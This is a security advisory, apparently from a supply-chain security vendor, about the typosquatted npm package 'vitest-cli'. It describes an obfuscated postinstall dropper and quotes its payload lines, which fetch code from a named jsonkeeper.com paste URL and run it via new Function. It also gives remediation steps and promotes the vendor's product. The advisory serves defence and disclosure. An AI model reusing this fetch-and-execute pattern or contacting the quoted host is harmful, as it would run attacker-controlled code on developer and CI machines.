vitest-clinpm
Malicious code in vitest-cli (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package name vitest-cli impersonates the official Vitest project while declaring empty author, homepage, repository, and bugs metadata. The package.json declares scripts.postinstall: node scripts/postinstall.js, which auto-runs on every npm install. The postinstall reaches lib/postinstall/index.js line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via eval((function(p,a,c,k,e,d){...})(...)). Once decoded, the payload calls axios.get('https://jsonkeeper.com/external/W33XO') and executes the response's data.cookie field with new Function('require', r.data.cookie)(require), retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed vitest and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct new Function execution of the response body is an unambiguous supply-chain attack.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for vitest-cli (5 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging vitest-cli across your stack and pipelines.
If you installed it — respond
vitest-cli is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If vitest-cli was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks vitest-cli before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks vitest-cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.